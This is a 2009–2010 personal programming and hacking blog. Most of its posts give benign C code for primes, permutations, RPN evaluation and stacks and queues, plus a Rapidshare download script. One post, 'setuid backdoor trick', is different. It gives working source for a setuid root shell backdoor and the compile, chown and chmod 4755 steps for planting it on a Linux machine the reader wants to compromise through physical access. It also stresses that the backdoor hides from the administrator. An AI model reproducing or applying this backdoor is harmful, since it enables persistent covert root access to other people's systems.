Welcome! Unleash your hacking superpowers!

Prime number generation algorithm

2009-11-28T14:34:00.003+04:00

There are many different algorithms to generate prime numbers and they're really interesting.

Check out this page for a whole lot of them: http://www.troubleshooters.com/codecorn/primenumbers/primenumbers.htm

This one is a short simple algorithm which is not so efficient but still useful for general purposes(generates 10 million primes in a little more than 6 seconds on an AMD Dual core 2.6 Ghz)

First some information which will be useful to understand the algorithm:

1. Factors of a number "converge" to the square root of the number

e.g Let's say we have the number 1024:

The factors of 1024 are:

32*32=1024

16*64=1024

8*128=1024

4*256=1024

2*512=1024

1*1024=1024

As you'll notice as you go from bottom to the top, the factors converge towards the square root of 1024, i.e 32.

The point here that if we need to check if 1024 is a prime number, 1024 should not be divisible by any number from 1 up to 32 (sqrt(1024)). For example if we see that 1024 is divisible by 8 (1024=8*128), in order to save calculations we don't need to check that 1024 is divisible by 128.

2. Every number can be broken down into prime factors

e.g 345=3*5*23 (3,5,23 are all prime numbers)

This 2nd idea is more interesting. Since a number can be broken down into prime factors(which are smaller than the number itself), then if a number is a prime number, it should not be divisible by any prime number smaller than itself.

This means that to determine if a number is prime, we just compare it with a list of primes smaller than itself and see if it is divisible by any one of them. If it's not then it's prime.

These 2 ideas can be combined together to form the following idea:

If a number is prime, it should not be divisible by prime numbers starting from 2 up to the square root of the number.

For example to determine if 23 is prime:

sqrt(23)=4.796

Prime numbers before 4.796= 2,3

Is 23 divisible by 2? no

Is 23 divisible by 3? no

So 23, is prime and it's added to the primes list.

Here's some C code which illustrates the above concept. 

//sniper11

#include <stdlib.h>
#include <stdio.h>
#include <math.h>

#define PMAX 20000000 /*max number of primes to generate*/

int n;
int c=0;
unsigned int primes[PMAX]; int primeptr=0;

int add_prime(int i)
{
primes[primeptr]=i;
primeptr++;c++;
}

int gen_primes()
{
int i,j,prime;
add_prime(2);//add 2 to the list
for(i=3;i<=n;i+=2)//skip even numbers
{
prime=1;
int maxfactor=sqrt(i);
for(j=1;j<primeptr;j++){
if(primes[j]>maxfactor)
    break;

if(i%primes[j]==0){
    prime=0;
    break;
}
}
if(prime==1){
add_prime(i);
}
}
}
int output_primes()
{
int i;
for(i=0;i<primeptr;i++)
{
printf("%d\n",primes[i]);
}
}
int main()
{
printf("Number of primes to generate: ");
scanf("%d",&n);

gen_primes();
printf("Count: %d\n",c);
output_primes();
}

Simple permutation algorithm (lexicographic, i.e output sorted)

2009-10-21T17:17:00.001+04:00

Here's a small recursive permutation algorithm in C which returns the permutations in ascending order.

#include <stdlib.h>
#include <stdio.h>

#define MAX 100 /*max number of values to permute*/

int array[MAX];/*value array*/
int visited[MAX];/*array to set a "visit" flag, to see if a value has been previously visited*/
int size;/*number of values to permute*/
int output[MAX];/*output array(contains output values set by permute())*/
int k=0;/*k contains number of visited values at any particular time during permute()*/

int print_output()
{
/*print output array*/
int i;
for(i=0;i<size;i++)
printf("%d ",output[i]);
printf("\n");

}

int permute()
{
/*recursive permutation function*/
int i;
if(k==size)/*if number of visited values reaches "size", it means that we've got a particular combination to output, so we print it*/
{
print_output();
return 0;
}
for(i=0;i<size;i++){
if(visited[i]==0){ /*remove this line(and it's bottom bracket) to obtain combinations too(e.g 1111,1223,etc.)*/
visited[i]=1; /*value visited so set "visit flag"*/
output[k]=array[i]; /*add value to output array*/
k++; /*increase number of visited values*/
permute(); /*recall the same function until k reaches size*/
visited[i]=0; /*already processed, remove "visit" flag*/
k--; /*decrease number of visited values, as we're "unvisiting" previous value*/
}
}

}

int init()
{
/*initialize the array of values to 1,2,3,4,..(u can use other values too which will be permuted, from user input for example)*/
int i;
for(i=1;i<=size;i++)
array[i-1]=i;
}

int main()
{
printf("Enter number of values to permute: ");
scanf("%d",&size); /*input size*/
init();/*initialize the array of values to 1,2,3,4,..(u can use other values too which will be permuted, from user input for example)*/
permute(); /*permute the values in the array(output function implemented inside)*/
return 0;
}

Source: http://0x1337.netne.net/permutation.c

Compile with: gcc permutation.c -o permutation

setuid backdoor trick

2009-10-08T20:28:00.005+04:00

You've got physical access to a linux computer you want to compromise, and you can boot from CD.

There are several ways to get root access to the computer through a linux live cd.
One way is to boot the livecd, chroot to the linux partition, then run a "passwd root". Another way is to add your username to the sudoers list in /etc/sudoers on the linux partition.

The problem with these techniques is that they'll leave footprints that are easily noticeable by the administrator because system files are being modified.

A trick is to create a simple backdoor root shell. Then you'll just have to run the program [as normal user] to get root access. The program can then be located anywhere on the linux partition.

setuid is an access right flag which can be set on a binary.
If it is set, then the program will run as root when it is started until privileges are dropped at a certain point in the program, returning to normal permissions.

This was designed in order to allow a program to use "root" access only when it is needed by the program. This migitates the effects that an exploit will have if the program has any security hole.

Here we're exploiting the fact that a normal user can have root access using a binary with setuid set to create a Shell backdoor.

So the steps are:
1. Boot your live cd.
2. Mount the linux partition with setuid enabled(it's enabled by default)
3. Copy the backdoor to some place accessible by you on the partition.(e.g your home folder)

Here's the source for the tiny backdoor:

//bdoor.c
int main()
{
setuid(0);//set the real,effective,saved uid to 0(root)
setgid(0);//set group id to 0(root)

execl("/bin/sh","sh",0); //execute a shell
return 0;
}
//sniper11

Compile with:
root$ gcc bdoor.c -o bdoor
Then(binary needs to be owned by root):
root$ chown root.root bdoor
finally(set the setuid bit):
root$ chmod 4755 bdoor

You need to compile and do the chmod and chown from your livecd (as root). Then, copy bdoor to your home folder on the target system and you can hide it in any subfolder.

Now, reboot, login as normal user, execute the program to get root access and enjoy XD

as usual, screenshot :):

Evaluate mathematical expressions using RPN(Postfix/Reverse polish notation)

2009-10-08T11:33:00.007+04:00

Have you ever wondered how mathematical expressions are evaluated by programs such as python, bc, etc.? For example (4+3)*6/2*3^2

The answer is Reverse Polish notation(RPN), also known as Postfix notation.

The "normal" way we write mathematical expressions is know as Infix notation:
e.g: (4+3)*6/2*3^2

In RPN, 3+4 becomes 3 4 +
At first sight, this may seem a silly thing to do to put the operator after the arguments, but you'll see how it helps in evaluating mathematical expressions.
There are no brackets '(' or ')' in RPN, the expression is already in a state where the operator precedence(that is, which operation must be carried out first) has been taken into consideration.

So, what we do is convert our expression from Infix to Postfix(RPN), and then evaluate it.

Let's take a concrete example:
We have to evaluate (4+3)*6/2*3^2
The conversion to postfix becomes: 4 3 + 6 * 2 / 3 2 ^ * (conversion is done using the Shunting yard algorithm) As you'll notice there are no brackets in the RPN expression.

To evaluate this expression is very simple:
We first look for the first operator(+/*-^) in the expression (which in this case is +):
4 3 + 6 * 2 / 3 2 ^ *

Now, we look at the 2 numbers just preceding the operator (4 and 3):
4 3 + 6 * 2 / 3 2 ^ *

Then, we evaluate the expression 4+3 and we replace the whole highlighted part by the result:

7 6 * 2 / 3 2 ^ *

Now, we start over again, that is we search for the first operator (in this case *) and again, we evaluate the 2 previous numbers with the operator:

7 6 * 2 / 3 2 ^ *
becomes:
42 2 / 3 2 ^ *

42 2 / 3 2 ^ *
becomes:
21 3 2 ^ *

21 3 2 ^ *
becomes:
21 9 *

and finally,
21 9 *
becomes:
189 (... the result!!)

Here's a small C program I've made which evaluates expressions using reverse polish notation:
http://0x1337.netne.net/rpn.c

Screenshot:

It also lists the steps taken during the conversion from Infix to Postfix notation and also how the RPN expression is evaluated. Compile with:
gcc rpn.c -o rpn -lm

Implementing basic stacks and queues in C

2009-10-04T15:23:00.008+04:00

So, you're a C programmer, the type of programmer who hates C++ coz it's bloated and now you're working on a simple program.

You suddenly realize that part of your program needs to use a queue or stack data structure and you absolutely don't want to use STL coz you just don't like it(actually, you hate it)

So what do you do?!

A simple solution for a stack is to define an array with predefined maximum size and then use a stack pointer pointing to next empty place on stack:

//Basic stack structure
#define STACKMAX 10000 //maximum size of stack
int stack[STACKMAX]; //stack array
int stackptr=0;//next empty place on stack

void push(int value){
stack[stackptr]=value;
stackptr++;
}

int pop()
{
if(stackptr>0){
stackptr--;
return stack[stackptr];
}
else
return -1; //assuming -1 is not a possible value
}

It's almost the same for a queue with the exception that 2 indices are used. 1 which points to the head of the queue and one for the tail.

//Basic queue structure
#define QUEUEMAX 10000 //maximum size of queue
int queue[QUEUEMAX]; //queue array
int head=0;int tail=0;

void push(int value){
queue[tail]=value;
tail++;
}

int pop()
{
if(head<tail){
head++;
return queue[head-1];
}
else
return -1; //assuming -1 is not a possible value
}

The only problem here is that you have to estimate the maximum size of the queue or stack, and more memory will be used than is actually needed, but this is just for a simple program. Of course you have to include error checking to see that the indices aren't exceeding the array size and then report "queue/stack is full".

Rapidshare automatic download script for free users

2009-03-02T21:46:00.089+05:00

Recently, rapidshare has removed captcha protection from their website and this makes it much easier to automate downloads from rapidshare.

Here is a little script i've cooked up which is available for Windows and Linux(for the Windows script it uses UnxUtils which is a win32 port for some essential linux apps, don't worry i've included the necessary binaries in the package).

Here's a Windows screenshot:

Linux screenshot ;) :

Links Updated! 3 July 2010
Version 1.5 released!
Premium support added
Windows: http://rapidshare.com/files/404646491/rsdown_win_v1.5.zip.html [700kb]
Linux: http://rapidshare.com/files/404649545/rsdown_linux_v1.5.zip.html [3kb]

(Thanks to all those who contributed, especially Tavva Capoblud)

Occasionally, rapidshare may change the way their website works and this script might stop working, but for now it works without problem! No longer works...

Installing:
Linux
For linux users, this is just a simple bash script. Just do the following to set it up:
unzip rsdown_linux.zip
chmod +x ./rsdown_linux/rsdown.sh

Note that you need to have the following tools installed(which are installed by default most of the time): cat,cut,gawk,grep,sleep,wc,wget

Windows
For Windows users, extract the package, and navigate to the rsdown_win folder. then:
1. right-click on rsdown.sh
2. choose Open with -> Browse to the rsdown_win\bin\ folder
3. choose sh.exe, and press ok

Running:
Now, you can add your rapidshare downloads to the dllist.txt file and do:

Linux

cd ./rsdown_linux/
./rsdown.sh

Windows

double click on rsdown.sh (inside rsdown_win folder)

Downloads will be stored in the dls/ folder.

The script will automatically start the downloads in the list, and even if the DOWNLOAD LIMIT has been exceeded, it will wait and retry until it can download the other files.

If any problem occurs or you like it or have any suggestion, don't hesitate to post a message! Hope you enjoy it.

Changelog:
Version 1.5
3-JUL-2010
sniper11:
- Tiny bugfix, added the -c switch to wget when using premium account to resume downloads
Version 1.4
23-JUN-2010
sniper11:
- Rapidshare premium support added - account details are stored in premium.conf
- comments allowed in dllist.txt: lines starting with #
- PATH configured automatically on Windows, no need to change via System->Environment variables
- Added $OS variable, for compatibility with both Windows and Linux in a single script
- Some bugfixes/more meaningful variable names
Version 1.3
12-APR-2010
Tavvva:
- reworked to prevent fast looping / out of order downloading when any problems appear ...
- 3 min delay added between the particular retries to prevent overloading of the server with unsuccessfull download requests
13-APR-2010
Tavvva:
- download status checking to prevent failures of the script execution when the main wget fails (the consequent changedir is not skipped and the script can retry the download)
- link counter fix
22-APR-2010
Tavvva:
- number of wget internal tries set to 1 (fixes "download session expired" states when the download is interrupted in the middle)
- tools presence checking (as suggested by "Anonymous")